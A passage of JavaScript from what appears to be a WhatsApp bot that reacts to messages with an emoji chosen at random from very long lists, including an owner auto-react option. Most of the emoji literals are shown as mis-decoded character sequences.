'๐ต', '๐', '๐', '๐', '๐', '๐ฏ', '๐', '๐', '๐', '๐', '๐ฒ', '๐', '๐', '๐', '๐', '๐ญ', '๐ฌ', '๐ฃ', '๐ซ', '๐', '๐ ', '๐', '๐', '๐', '๐ฅ', '๐ฅ', '๐ฅ', '๐ช', '๐จ', '๐ซ', '๐ฌ', '๐ฉ', '๐จ', '๐ง', '๐ฆ', '๐ฅ', '๐ก', '๐ช', '๐ซ', '๐ฌ', '๐ฉ', '๐จ', '๐ง', '๐ฆ', '๐ฅ', '๐ก', "๐ฏ๏ธ", '๐ก', '๐ฆ', '๐ง', '๐จ', '๐ฉ', '๐ช', '๐ซ', '๐', '๐ธ', '๐คด', '๐น', '๐คบ', '๐คป', '๐บ', '๐คผ', '๐คฝ', '๐คพ', '๐คฟ', '๐ฆ', '๐ด', '๐ฆ', '๐บ', '๐ผ', '๐พ', '๐ฟ', '๐ฆ', '๐ฆ ', '๐ฆ', '๐ฆ', '๐ฆ', '๐ณ', '๐', '๐', '๐ ', '๐ก', '๐', '๐', '๐', '๐', '๐', "๐ท๏ธ", '๐ฆ', '๐', '๐', '๐', '๐ฟ', '๐ธ', '๐', '๐น', '๐บ', '๐ป', '๐ด', '๐ต', '๐ฐ', '๐ ', '๐ก', '๐ข', '๐ฃ', '๐ฅ', '๐ฆ', '๐ง', '๐จ', '๐ฉ', '๐ช', '๐ซ', '๐ฌ', '๐ญ', '๐ฎ', '๐ฏ', '๐ฃ', '๐ฅ', '๐', '๐', '๐', '๐ธ', '๐น', '๐ด', '๐ฒ', '๐บ', '๐ฎ', '๐ฏ', '๐ฑ', '๐ซ', '๐ฝ', "๐ณ๏ธ", '๐ฃ', '๐ซ', "๐ท๏ธ", "๐ธ๏ธ", '๐', '๐ป', '๐บ', '๐', "๐ด๏ธ", '๐ถ', '๐ต', '๐ด', '๐ฑ', '๐จ', '๐ฉ', '๐ง', '๐ฆ', '๐ช', '๐ซ', '๐ญ', '๐ฌ', '๐ฎ', "๐ด๏ธ", '๐ผ', '๐', '๐', '๐', '๐', '๐', '๐', '๐ฐ', '๐ฑ', '๐ป', '๐ป', '๐บ', '๐ฌ', "๐ฝ๏ธ", '๐ธ', '๐ท', "๐ฏ๏ธ", '๐ก', '๐ฆ', '๐ง', '๐จ', '๐ฉ', '๐ช', '๐ซ', '๐', '๐ธ', '๐คด', '๐น', '๐คบ', '๐คป', '๐บ', '๐คผ', '๐คฝ', '๐คพ', '๐คฟ', '๐ฆ', '๐ด', '๐ฆ', '๐บ', '๐ผ', '๐พ', '๐ฟ', '๐ฆ', '๐ฆ ', '๐ฆ', '๐ฆ', '๐ฆ', '๐ณ', '๐', '๐', '๐ ', '๐ก', '๐', '๐', '๐', '๐', '๐', "๐ท๏ธ", '๐ฆ', '๐', '๐', '๐', '๐ฟ', '๐ธ', '๐', '๐น', '๐บ', '๐ป', '๐ด', '๐ต', '๐ฐ', '๐', '๐ฆ', '๐ฆง', '๐ถ', '๐', '๐ฆฎ', "๐โ๐ฆบ", '๐ฉ', '๐บ', '๐ฆ', '๐ฆ', '๐ฑ', '๐', "๐โโฌ", '๐ฆ', '๐ฏ', '๐ ', '๐', '๐ด', '๐', '๐ฆ', '๐ฆ', '๐ฆ', '๐ฆฌ', '๐ฎ', '๐', '๐', '๐', '๐ท', '๐', '๐', '๐ฝ', '๐', '๐', '๐', '๐ช', '๐ซ', '๐ฆ', '๐ฆ', '๐', '๐ฆฃ', '๐ฆ', '๐ฆ', '๐ญ', '๐', '๐', '๐น', '๐ฐ', '๐', "๐ฟ๏ธ", '๐ฆซ', '๐ฆ', '๐ฆ', '๐ป', "๐ปโโ๏ธ", '๐จ', '๐ผ', '๐ฆฅ', '๐ฆฆ', '๐ฆจ', '๐ฆ', '๐ฆก', '๐พ', '๐ฆ', '๐', '๐', '๐ฃ', '๐ค', '๐ฅ', '๐ฆ', '๐ง', "๐๏ธ", '๐ฆ ', '๐ฆ', '๐ฆข', '๐ฆ', '๐ฆค', '๐ชถ', '๐ฆฉ', '๐ฆ', '๐ฆ', '๐ธ', '๐', '๐ข', '๐ฆ', '๐', '๐ฒ', '๐', '๐ฆ', '๐ฆ', '๐ณ', '๐', '๐ฌ', '๐ฆญ', '๐', '๐ ', '๐', '๐', '๐', '๐', '๐', '๐ ', '๐คฃ', '๐', '๐', '๐', '๐', '๐', '๐', '๐ฅฐ', '๐', '๐คฉ', '๐', '๐', 'โบ๏ธ', '๐', '๐', '๐ฅฒ', '๐', '๐', '๐', '๐คช', '๐', '๐ค', '๐ค', '๐คญ', '๐คซ', '๐ค', '๐ค', '๐คจ', '๐', '๐', '๐ถ', "๐ถโ๐ซ๏ธ", '๐', '๐', '๐', '๐ฌ', "๐ฎโ๐จ", '๐คฅ', '๐', '๐', '๐ช', '๐คค', '๐ด', '๐ท', '๐ค', '๐ค', '๐คข', '๐คฎ', '๐คง', '๐ฅต', '๐ฅถ', '๐ฅด', '๐ต', "๐ตโ๐ซ", '๐คฏ', '๐ค ', '๐ฅณ', '๐ฅธ', '๐', '๐ค', '๐ง', '๐', '๐', '๐', 'โน๏ธ', '๐ฎ', '๐ฏ', '๐ฒ', '๐ณ', '๐ฅบ', '๐ฆ', '๐ง', '๐จ', '๐ฐ', '๐ฅ', '๐ข', '๐ญ', '๐ฑ', '๐', '๐ฃ', '๐', '๐', '๐ฉ', '๐ซ', '๐ฅฑ', '๐ค', '๐ก', '๐ ', '๐คฌ', '๐', '๐ฟ', '๐', 'โ ๏ธ', '๐ฉ', '๐คก', '๐น', '๐บ', '๐ป', '๐ฝ', '๐พ', '๐ค', '๐บ', '๐ธ', '๐น', '๐ป', '๐ผ', '๐ฝ', '๐', '๐ฟ', '๐พ', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', 'โฃ๏ธ', '๐', "โค๏ธโ๐ฅ", "โค๏ธโ๐ฉน", 'โค๏ธ', '๐งก', '๐', '๐', '๐', '๐', '๐ค', '๐ค', '๐ค', '๐ฏ', '๐ข', '๐ฅ', '๐ซ', '๐ฆ', '๐จ', "๐ณ๏ธ", '๐ฃ', '๐ฌ', "๐๏ธโ๐จ๏ธ", "๐จ๏ธ", "๐ฏ๏ธ", '๐ญ', '๐ค', '๐', '๐ค', "๐๏ธ", 'โ', '๐', '๐', '๐ค', '๐ค', 'โ๏ธ', '๐ค', '๐ค', '๐ค', '๐ค', '๐', '๐', '๐', '๐', '๐', 'โ๏ธ', '๐', '๐', 'โ', '๐', '๐ค', '๐ค', '๐', '๐', '๐', '๐คฒ', '๐ค', '๐', 'โ๏ธ', '๐ ', '๐คณ', '๐ช', '๐ฆพ', '๐ฆฟ', '๐ฆต', '๐ฆถ', '๐', '๐ฆป', '๐', '๐ง ', '๐ซ', '๐ซ', '๐ฆท', '๐ฆด', '๐', "๐๏ธ", '๐ ', '๐', '๐ถ', '๐ง', '๐ฆ', '๐ง', '๐ง', '๐ฑ', '๐จ', '๐ง', "๐งโโ๏ธ", "๐งโโ๏ธ", "๐จโ๐ฆฐ", "๐จโ๐ฆฑ", "๐จโ๐ฆณ", "๐จโ๐ฆฒ", '๐ฉ', "๐ฉโ๐ฆฐ", "๐งโ๐ฆฐ", "๐ฉโ๐ฆฑ", "๐งโ๐ฆฑ", "๐ฉโ๐ฆณ", "๐งโ๐ฆณ", "๐ฉโ๐ฆฒ", "๐งโ๐ฆฒ", "๐ฑโโ๏ธ", "๐ฑโโ๏ธ", '๐ง', '๐ด', '๐ต', '๐', "๐โโ๏ธ", "๐โโ๏ธ", '๐', "๐โโ๏ธ", "๐โโ๏ธ", '๐ ', "๐ โโ๏ธ", "๐ โโ๏ธ", '๐', "๐โโ๏ธ", "๐โโ๏ธ", '๐', "๐โโ๏ธ", "๐โโ๏ธ", '๐', "๐โโ๏ธ", "๐โโ๏ธ", '๐ง', "๐งโโ๏ธ", "๐งโโ๏ธ", '๐', "๐โโ๏ธ", "๐โโ๏ธ", '๐คฆ', "๐คฆโโ๏ธ", "๐คฆโโ๏ธ", '๐คท', "๐คทโโ๏ธ", "๐คทโโ๏ธ", "๐งโโ๏ธ", "๐จโโ๏ธ", "๐ฉโโ๏ธ", "๐งโ๐", "๐จโ๐", "๐ฉโ๐", "๐งโ๐ซ", '๐จโ๐ซ', "๐ฉโ๐ซ", "๐งโโ๏ธ", "๐จโโ๏ธ", "๐ฉโโ๏ธ", "๐งโ๐พ", "๐จโ๐พ", "๐ฉโ๐พ", "๐งโ๐ณ", "๐จโ๐ณ", "๐ฉโ๐ณ", "๐งโ๐ง", "๐จโ๐ง", "๐ฉโ๐ง", "๐งโ๐ญ", "๐จโ๐ญ", "๐ฉโ๐ญ", "๐งโ๐ผ", "๐จโ๐ผ", "๐ฉโ๐ผ", "๐งโ๐ฌ", "๐จโ๐ฌ", "๐ฉโ๐ฌ", "๐งโ๐ป", "๐จโ๐ป", "๐ฉโ๐ป", "๐งโ๐ค", "๐จโ๐ค", "๐ฉโ๐ค", "๐งโ๐จ", "๐จโ๐จ", "๐ฉโ๐จ", "๐งโโ๏ธ", "๐จโโ๏ธ", "๐ฉโโ๏ธ", "๐งโ๐", "๐จโ๐", "๐ฉโ๐", "๐งโ๐", "๐จโ๐", "๐ฉโ๐", '๐ฎ', "๐ฎโโ๏ธ", "๐ฎโโ๏ธ", "๐ต๏ธ", "๐ต๏ธโโ๏ธ", "๐ต๏ธโโ๏ธ", '๐', "๐โโ๏ธ", "๐โโ๏ธ", '๐ฅท', '๐ท', "๐ทโโ๏ธ", "๐ทโโ๏ธ", '๐คด', '๐ธ', '๐ณ', "๐ณโโ๏ธ", "๐ณโโ๏ธ", '๐ฒ', '๐ง', '๐คต', "๐คตโโ๏ธ", "๐คตโโ๏ธ", '๐ฐ', "๐ฐโโ๏ธ", "๐ฐโโ๏ธ", '๐คฐ', '๐คฑ', "๐ฉโ๐ผ", "๐จโ๐ผ", "๐งโ๐ผ", '๐ผ', '๐ ', '๐คถ', "๐งโ๐", '๐ฆธ', "๐ฆธโโ๏ธ", "๐ฆธโโ๏ธ", '๐ฆน', "๐ฆนโโ๏ธ", "๐ฆนโโ๏ธ", '๐ง', "๐งโโ๏ธ", "๐งโโ๏ธ", '๐ง', "๐งโโ๏ธ", "๐งโโ๏ธ", '๐ง', "๐งโโ๏ธ", "๐งโโ๏ธ", '๐ง', "๐งโโ๏ธ", "๐งโโ๏ธ", '๐ง', "๐งโโ๏ธ", "๐งโโ๏ธ", '๐ง', "๐งโโ๏ธ", "๐งโโ๏ธ", '๐ง', "๐งโโ๏ธ", "๐งโโ๏ธ", '๐', "๐โโ๏ธ", "๐โโ๏ธ", '๐', "๐โโ๏ธ", "๐โโ๏ธ", '๐ถ', "๐ถโโ๏ธ", "๐ถโโ๏ธ", '๐ง', "๐งโโ๏ธ", "๐งโโ๏ธ", '๐ง', "๐งโโ๏ธ", "๐งโโ๏ธ", "๐งโ๐ฆฏ", "๐จโ๐ฆฏ", "๐ฉโ๐ฆฏ", "๐งโ๐ฆผ", "๐จโ๐ฆผ", "๐ฉโ๐ฆผ", "๐งโ๐ฆฝ", "๐จโ๐ฆฝ", "๐ฉโ๐ฆฝ", '๐', "๐โโ๏ธ", "๐โโ๏ธ", '๐', '๐บ', "๐ด๏ธ", '๐ฏ', "๐ฏโโ๏ธ", "๐ฏโโ๏ธ", '๐ง', "๐งโโ๏ธ", "๐งโโ๏ธ", '๐ง', "๐งโโ๏ธ", "๐งโโ๏ธ", '๐คบ', '๐', 'โท๏ธ', '๐', "๐๏ธ", "๐๏ธโโ๏ธ", "๐๏ธโโ๏ธ", '๐', "๐โโ๏ธ", "๐โโ๏ธ", '๐ฃ', "๐ฃโโ๏ธ", "๐ฃโโ๏ธ", '๐', "๐โโ๏ธ", "๐โโ๏ธ", 'โน๏ธ', "โน๏ธโโ๏ธ", "โน๏ธโโ๏ธ", "๐๏ธ", "๐๏ธโโ๏ธ", "๐๏ธโโ๏ธ", '๐ด', "๐ดโโ๏ธ", '๐ดโโ๏ธ', '๐ต', "๐ตโโ๏ธ", "๐ตโโ๏ธ", '๐คธ', "๐คธโโ๏ธ", "๐คธโโ๏ธ", '๐คผ', "๐คผโโ๏ธ", "๐คผโโ๏ธ", '๐คฝ', "๐คฝโโ๏ธ", "๐คฝโโ๏ธ", '๐คพ', "๐คพโโ๏ธ", "๐คพโโ๏ธ", '๐คน', "๐คนโโ๏ธ", "๐คนโโ๏ธ", '๐ง', "๐งโโ๏ธ", "๐งโโ๏ธ", '๐', '๐', "๐งโ๐คโ๐ง", '๐ญ', '๐ซ', '๐ฌ', '๐', "๐ฉโโค๏ธโ๐โ๐จ", "๐จโโค๏ธโ๐โ๐จ", "๐ฉโโค๏ธโ๐โ๐ฉ", '๐', "๐ฉโโค๏ธโ๐จ", "๐จโโค๏ธโ๐จ", "๐ฉโโค๏ธโ๐ฉ", '๐ช', "๐จโ๐ฉโ๐ฆ", "๐จโ๐ฉโ๐ง", "๐จโ๐ฉโ๐งโ๐ฆ", "๐จโ๐ฉโ๐ฆโ๐ฆ", "๐จโ๐ฉโ๐งโ๐ง", "๐จโ๐จโ๐ฆ", '๐จโ๐จโ๐ง', "๐จโ๐จโ๐งโ๐ฆ", "๐จโ๐จโ๐ฆโ๐ฆ", "๐จโ๐จโ๐งโ๐ง", "๐ฉโ๐ฉโ๐ฆ", "๐ฉโ๐ฉโ๐ง", "๐ฉโ๐ฉโ๐งโ๐ฆ", "๐ฉโ๐ฉโ๐ฆโ๐ฆ", "๐ฉโ๐ฉโ๐งโ๐ง", "๐จโ๐ฆ", "๐จโ๐ฆโ๐ฆ", "๐จโ๐ง", "๐จโ๐งโ๐ฆ", "๐จโ๐งโ๐ง", "๐ฉโ๐ฆ", "๐ฉโ๐ฆโ๐ฆ", "๐ฉโ๐ง", "๐ฉโ๐งโ๐ฆ", "๐ฉโ๐งโ๐ง", "๐ฃ๏ธ", '๐ค', '๐ฅ', '๐ซ', '๐ฃ', '๐ฆฐ', '๐ฆฑ', '๐ฆณ', '๐ฆฒ', '๐ต']; | |
const randomReaction = reactions[Math.floor(Math.random() * reactions.length)]; // | |
m.react(randomReaction); | |
} | |
} | |
// Owner React | |
if (!isReact && senderNumber === botNumber) { | |
if (config.AUTO_REACT === 'true') { | |
const reactions = ['๐', '๐', '๐', '๐ฏ', '๐ฅ', '๐', '๐', '๐', '๐', '๐ค', '๐ซ', '๐ญ', '๐ฌ', '๐ฎ', "๐ด๏ธ", '๐ผ', '๐', '๐', '๐', '๐', '๐', '๐', '๐ฐ', '๐ฑ', '๐ป', '๐ป', '๐บ', '๐ฌ', "๐ฝ๏ธ", '๐ธ', '๐ท', "๐ฏ๏ธ", '๐ก', '๐ฆ', '๐ง', '๐จ', '๐ฉ', '๐ช', '๐ซ', '๐', '๐ธ', '๐คด', '๐น', '๐คบ', '๐คป', '๐บ', '๐คผ', '๐คฝ', '๐คพ', '๐คฟ', '๐ฆ', '๐ด', '๐ฆ', '๐บ', '๐ผ', '๐พ', '๐ฟ', '๐ฆ', '๐ฆ ', '๐ฆ', '๐ฆ', '๐ฆ', '๐ณ', '๐', '๐', '๐ ', '๐ก', '๐', '๐', '๐', '๐', '๐', "๐ท๏ธ", '๐ฆ', '๐', '๐', '๐', '๐ฟ', '๐ธ', '๐', '๐น', '๐บ', '๐ป', '๐ด', '๐ต', '๐ฐ', '๐ ', '๐ก', '๐ข', '๐ฃ', '๐ฅ', '๐ฆ', '๐ง', '๐จ', '๐ฉ', '๐ช', '๐ซ', '๐ฌ', '๐ญ', '๐ฎ', '๐ฏ', '๐ฃ', '๐ฅ', '๐', '๐', '๐', '๐ธ', '๐น', '๐ด', '๐ฒ', '๐บ', '๐ฎ', '๐ฏ', '๐ฑ', '๐ซ', '๐ฝ', "๐ณ๏ธ", '๐ฃ', '๐ซ', "๐ท๏ธ", "๐ธ๏ธ", '๐', '๐ป', '๐บ', '๐', "๐ด๏ธ", '๐ถ', '๐ต', '๐ด', '๐ฑ', '๐จ', '๐ฉ', '๐ง', '๐ฆ', '๐ช', '๐ซ', '๐ญ', '๐ฌ', '๐ฎ', "๐ด๏ธ", '๐ผ', '๐', '๐', '๐', '๐', '๐', '๐', '๐ฐ', '๐ฑ', '๐ป', '๐ป', '๐บ', '๐ฌ', "๐ฝ๏ธ", '๐ธ', '๐ท', "๐ฏ๏ธ", '๐ก', '๐ฆ', '๐ง', '๐จ', '๐ฉ', '๐ช', '๐ซ', '๐', '๐ธ', '๐คด', '๐น', '๐คบ', '๐คป', '๐บ', '๐คผ', '๐คฝ', '๐คพ', '๐คฟ', '๐ฆ', '๐ด', '๐ฆ', '๐บ', '๐ผ', '๐พ', '๐ฟ', '๐ฆ', '๐ฆ ', '๐ฆ', '๐ฆ', '๐ฆ', '๐ณ', '๐', '๐', '๐ ', '๐ก', '๐', '๐', '๐', '๐', '๐', "๐ท๏ธ", '๐ฆ', '๐', '๐', '๐', '๐ฟ', '๐ธ', '๐', '๐น', '๐บ', '๐ป', '๐ด', '๐ต', '๐ฐ', '๐ ', '๐ก', '๐ข', '๐ ', '๐ก', '๐ข', '๐ฃ', '๐ฅ', '๐ฆ', '๐ง', '๐จ', '๐ฉ', '๐ช', '๐ซ', '๐ฌ', '๐ญ', '๐ฎ', '๐ฏ', '๐ฃ', '๐ฅ', '๐', '๐', '๐', '๐ธ', '๐น', '๐ด', '๐ฒ', '๐บ', '๐ฎ', '๐ฏ', '๐ฑ', '๐ซ', '๐ฝ', "๐ณ๏ธ", '๐ฃ', '๐ซ', "๐ท๏ธ", "๐ธ๏ธ", '๐', '๐ป', '๐บ', '๐', "๐ด๏ธ", '๐ถ', '๐ต', '๐ด', '๐ฑ', '๐จ', '๐ฉ', '๐ง', '๐ฆ', '๐ช', '๐ซ', '๐ญ', '๐ฌ', '๐ฎ', "๐ด๏ธ", '๐ผ', '๐', '๐', '๐', '๐', '๐', '๐', '๐ฐ', '๐ฑ', '๐ป', '๐ป', '๐บ', '๐ฌ', "๐ฝ๏ธ", '๐ธ', '๐ท', "๐ฏ๏ธ", '๐ก', '๐ฆ', '๐ง', '๐จ', '๐ฉ', '๐ช', '๐ซ', '๐', '๐ธ', '๐คด', '๐น', '๐คบ', '๐คป', '๐บ', '๐คผ', '๐คฝ', '๐คพ', '๐คฟ', '๐ฆ', '๐ด', '๐ฆ', '๐บ', '๐ผ', '๐พ', '๐ฟ', '๐ฆ', '๐ฆ ', '๐ฆ', '๐ฆ', '๐ฆ', '๐ณ', '๐', '๐', '๐ ', '๐ก', '๐', '๐', '๐', '๐', '๐', "๐ท๏ธ", '๐ฆ', '๐', '๐', '๐', '๐ฟ', '๐ธ', '๐', '๐น', '๐บ', '๐ป', '๐ด', '๐ต', '๐ฐ', '๐ ', '๐ก', '๐ข', '๐ฃ', '๐ฅ', '๐ฆ', '๐ง', '๐จ', '๐ฉ', '๐ช', '๐ซ', '๐ฌ', '๐ญ', '๐ฎ', '๐ฏ', '๐ฃ', '๐ฅ', '๐', '๐', '๐', '๐ธ', '๐น', '๐ด', '๐ฒ', '๐บ', '๐ฎ', '๐ฏ', '๐ฑ', '๐ซ', '๐ฝ', "๐ณ๏ธ", '๐ฃ', '๐ซ', "๐ท๏ธ", "๐ธ๏ธ", '๐', '๐ป', '๐บ', '๐', "๐ด๏ธ", '๐ถ', '๐ต', '๐ด', '๐ฑ', '๐จ', '๐ฉ', '๐ง', '๐ฆ', '๐ช', '๐', '๐', '๐คฃ', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐ ', '๐ก', '๐ข', '๐ญ', '๐', '๐ณ', '๐ด', '๐', '๐', '๐', '๐ค', '๐', '๐', '๐ถ', '๐', '๐ถ', '๐ฑ', '๐', '๐ท', '๐ด', '๐ฒ', '๐ธ', '๐ณ', '๐', '๐', '๐', '๐', '๐ฉ', '๐', '๐', '๐ฅค', '๐ฃ', '๐ฒ', '๐ด', '๐ฝ', '๐น', '๐ธ', '๐', '๐ฑ', '๐บ', '๐ป', '๐ค', '๐', '๐ป', '๐ธ', '๐ท', 'โค๏ธ', '๐', 'โฃ๏ธ', 'โ๏ธ', '๐', '๐', '๐ ', '๐ช', "๐บ๐ธ", "๐ฌ๐ง", "๐จ๐ฆ", "๐ฆ๐บ", "๐ฏ๐ต", "๐ซ๐ท", "๐ช๐ธ", '๐', '๐', '๐', '๐ซ', '๐ญ', '๐ฌ', '๐ฎ', '๐ค', '๐', '๐', '๐ป', '๐บ', '๐ธ', '๐น', '๐ด', "๐๏ธ", '๐', '๐', '๐', "๐ฃ๏ธ", "๐ซ๏ธ", "๐ฌ๏ธ", '๐ฃ', '๐ฅ', '๐', '๐', '๐', "๐โโ๏ธ", "๐๏ธโโ๏ธ", "๐โโ๏ธ", "๐โโ๏ธ", '๐พ', '๐', '๐', '๐ฏ', '๐', '??', 'โฌ๏ธ', 'โฌ๏ธ', 'โ', 'โ', 'โฉ๏ธ', 'โช๏ธ', 'โน๏ธ', 'โผ๏ธ', 'โ๏ธ', 'โฝ๏ธ', 'ยฉ๏ธ', 'ยฎ๏ธ', 'โข๏ธ', '๐ด', '๐ต', '๐ข', '๐น', '๐บ', '๐ฏ', '๐', '๐คฃ', "๐คทโโ๏ธ", "๐คทโโ๏ธ", "๐ โโ๏ธ", "๐ โโ๏ธ", "๐โโ๏ธ", "๐โโ๏ธ", "๐คฆโโ๏ธ", "๐คฆโโ๏ธ", '๐ป', '๐โโ๏ธ', "๐โโ๏ธ", "๐ดโโ๏ธ", "๐ดโโ๏ธ", "๐โโ๏ธ", "๐โโ๏ธ", '๐ซ', '๐ฝ', "๐ณ๏ธ", '๐ฃ', '๐ซ', "๐ท๏ธ", "๐ธ๏ธ", '๐', '๐ป', '๐บ', '๐', "๐ด๏ธ", '๐ถ', '๐ต', '๐ด', '๐ฑ', '๐จ', '๐ฉ', '๐ง', '๐ฆ', '๐ช', '๐ซ', '๐ญ', '๐ฌ', '๐ฎ', "๐ด๏ธ", '๐ผ', '๐', '๐', '๐', '๐', '๐', '๐', '๐ฐ', '๐ฑ', '๐ป', '๐ป', '๐บ', '๐ฌ', "๐ฝ๏ธ", '๐ธ', '๐ท', "๐ฏ๏ธ", '๐ก', '๐ฆ', '๏ฟฝ', '๐ฏ', '๐ฐ', '๐ ', '๐ก', '๐ข', '๐ฃ', '๐ฅ', '๐ฆ', '๐ง', '๐จ', '๐ฉ', '๐ช', '๐ซ', '๐ฌ', '๐ญ', '๐ฎ', '๐ฏ', '๐ฃ', '๐ฅ', '๐', '๐', '๐', '๐ธ', '๐น', '๐ด', '๐ฒ', '๐บ', '๐ฎ', '๐ฏ', '๐ฑ', '๐ซ', '๐ฝ', "๐ณ๏ธ", '๐ฃ', '๐ซ', "๐ท๏ธ", "๐ธ๏ธ", '๐', '๐ป', '๐บ', '๐', "๐ด๏ธ", '๐ถ', '๐ต', '๐ด', '๐ฑ', '๐จ', '๐ฉ', '๐ง', '๐ฆ', '๐ช', '๐ซ', '๐ญ', '๐ฌ', '๐ฎ', "๐ด๏ธ", '๐ผ', '๐', '๐', '๐', '๐', '๐', '๐', '๐ฐ', '๐ฑ', '๐ป', '๐ป', '๐บ', '๐ฌ', "๐ฝ๏ธ", '๐ธ', '๐ท', "๐ฏ๏ธ", '๐ก', '๐ฆ', '๐ง', '๐จ', '๐ฉ', '๐ช', '๐ซ', '๐', '๐', '๐ธ', '๐คด', '๐น', '๐คบ', '๐คป', '๐บ', '๐คผ', '๐คฝ', '๐คพ', '๐คฟ', '๐ฆ', '๐ด', '๐ฆ', '๐บ', '๐ผ', '๐พ', '๐ฟ', '๐ฆ', '๐ฆ ', '๐ฆ', '๐ฆ', '๐ฆ', '๐ณ', '๐', '๐', '๐ ', '๐ก', '๐', '๐', '๐', '๐', '๐', "๐ท๏ธ", '๐ฆ', '๐', '๐', '๐', '๐ฟ', '๐ธ', '๐', '๐น', '๐บ', '๐ป', '๐ด', '๐ณ', '๐ฒ', '๐พ', '๐ฟ', '๐', '๐', '๐', '๐ป', '๐', '๐น', '๐บ', '๐ธ', '๐ด', '๐ต', '๐', '๐', '๐', '๐', '๐ฏ', '๐', '๐', '๐', '๐', '๐ฒ', '๐', '๐', '๐', '๐', '๐ญ', '๐ฌ', '๐ฃ', '๐ซ', '๐', '๐ ', '๐', '๐', '๐', '๐ฅ', '๐ฅ', '๐ฅ', '๐ช', '๐จ', '๐ซ', '๐ฌ', '๐ฉ', '๐จ', '๐ง', '๐ฆ', '๐ฅ', '๐ก', '๐ช', '๐ซ', '๐ฌ', '๐ฉ', '๐จ', '๐ง', '๐ฆ', '๐ฅ', '๐ก', '๐ช', '๐ซ', '๐ฌ', '๐ฉ', '๐จ', '๐ง', '๐ฆ', '๐ฅ', '๐ก', '๐ฑ', '๐ฟ', '๐', '๐', '๐ป', '๐', '๐น', '๐บ', '๐ธ', '๐ด', '๐ต', '๐', '๐', '๐', '๐', '๐ฏ', '๐', '๐', '๐', '๐', '๐ฒ', '๐', '๐', '๐', '๐', '๐ญ', '๐ฌ', '๐ฃ', '๐ซ', '๐', '๐ ', '๐', '๐', '๐', '๐ฅ', '๐ฅ', '๐ฅ', '๐ช', '๐จ', '๐ซ', '๐ฌ', '๐ฉ', '๐จ', '๐ง', '๐ฆ', '๐ฅ', '๐ก', '๐ช', '๐ซ', '๐ฌ', '๐ฉ', '๐จ', '๐ง', '๐ฆ', '๐ฅ', '๐ก', "๐ฏ๏ธ", '๐ก', '๐ฆ', '๐ง', '๐จ', '๐ฉ', '๐ช', '๐ซ', '๐', '๐ธ', '๐คด', '๐น', '๐คบ', '๐คป', '๐บ', '๐คผ', '๐คฝ', '๐คพ', '๐คฟ', '๐ฆ', '๐ด', '๐ฆ', '๐บ', '๐ผ', '๐พ', '๐ฟ', '๐ฆ', '๐ฆ ', '๐ฆ', '๐ฆ', '๐ฆ', '๐ณ', '๐', '๐', '๐ ', '๐ก', '๐', '๐', '๐', '๐', '๐', "๐ท๏ธ", '๐ฆ', '๐', '๐', '๐', '๐ฟ', '๐ธ', '๐', '๐น', '๐บ', '๐ป', '๐ด', '๐ต', '๐ฐ', '๐ ', '๐ก', '๐ข', '๐ฃ', '๐ฅ', '๐ฆ', '๐ง', '๐จ', '๐ฉ', '๐ช', '๐ซ', '๐ฌ', '๐ญ', '๐ฎ', '๐ฏ', '๐ฃ', '๐ฅ', '๐', '๐', '๐', '๐ธ', '๐น', '๐ด', '๐ฒ', '๐บ', '๐ฎ', '๐ฏ', '๐ฑ', '๐ซ', '๐ฝ', "๐ณ๏ธ", '๐ฃ', '๐ซ', "๐ท๏ธ", "๐ธ๏ธ", '๐', '๐ป', '๐บ', '๐', "๐ด๏ธ", '๐ถ', '๐ต', '๐ด', '๐ฑ', '๐จ', '๐ฉ', '๐ง', '๐ฆ', '๐ช', '๐ซ', '๐ญ', '๐ฌ', '๐ฎ', "๐ด๏ธ", '๐ผ', '๐', '๐', '๐', '๐', '๐', '๐', '๐ฐ', '๐ฑ', '๐ป', '๐ป', '๐บ', '๐ฌ', "๐ฝ๏ธ", '๐ธ', '๐ท', "๐ฏ๏ธ", '๐ก', '๐ฆ', '๐ง', '๐จ', '๐ฉ', '๐ช', '๐ซ', '๐', '๐ธ', '๐คด', '๐น', '๐คบ', '๐คป', '๐บ', '๐คผ', '๐คฝ', '๐คพ', '๐คฟ', '๐ฆ', '๐ด', '๐ฆ', '๐บ', '๐ผ', '๐พ', '๐ฟ', '๐ฆ', '๐ฆ ', '๐ฆ', '๐ฆ', '๐ฆ', '๐ณ', '๐', '๐', '๐ ', '๐ก', '๐', '๐', '๐', '๐', '๐', "๐ท๏ธ", '๐ฆ', '๐', '๐', '๐', '๐ฟ', '๐ธ', '๐', '๐น', '๐บ', '๐ป', '๐ด', '๐ต', '๐ฐ', '๐', '๐ฆ', '๐ฆง', '๐ถ', '๐', '๐ฆฎ', "๐โ๐ฆบ", '๐ฉ', '๐บ', '๐ฆ', '๐ฆ', '๐ฑ', '๐', "๐โโฌ", '๐ฆ', '๐ฏ', '๐ ', '๐', '๐ด', '๐', '๐ฆ', '๐ฆ', '๐ฆ', '๐ฆฌ', '๐ฎ', '๐', '๐', '๐', '๐ท', '๐', '๐', '๐ฝ', '๐', '๐', '๐', '๐ช', '๐ซ', '๐ฆ', '๐ฆ', '๐', '๐ฆฃ', '๐ฆ', '๐ฆ', '๐ญ', '๐', '๐', '๐น', '๐ฐ', '๐', "๐ฟ๏ธ", '๐ฆซ', '๐ฆ', '๐ฆ', '๐ป', "๐ปโโ๏ธ", '๐จ', '๐ผ', '๐ฆฅ', '๐ฆฆ', '๐ฆจ', '๐ฆ', '๐ฆก', '๐พ', '๐ฆ', '๐', '๐', '๐ฃ', '๐ค', '๐ฅ', '๐ฆ', '๐ง', "๐๏ธ", '๐ฆ ', '๐ฆ', '๐ฆข', '๐ฆ', '๐ฆค', '๐ชถ', '๐ฆฉ', '๐ฆ', '๐ฆ', '๐ธ', '๐', '๐ข', '๐ฆ', '๐', '๐ฒ', '๐', '๐ฆ', '๐ฆ', '๐ณ', '๐', '๐ฌ', '๐ฆญ', '๐', '๐ ', '๐', '๐', '๐', '๐', '๐', '๐ ', '๐คฃ', '๐', '๐', '๐', '๐', '๐', '๐', '๐ฅฐ', '๐', '๐คฉ', '๐', '๐', 'โบ๏ธ', '๐', '๐', '๐ฅฒ', '๐', '๐', '๐', '๐คช', '๐', '๐ค', '๐ค', '๐คญ', '๐คซ', '๐ค', '๐ค', '๐คจ', '๐', '๐', '๐ถ', "๐ถโ๐ซ๏ธ", '๐', '๐', '๐', '๐ฌ', "๐ฎโ๐จ", '๐คฅ', '๐', '๐', '๐ช', '๐คค', '๐ด', '๐ท', '๐ค', 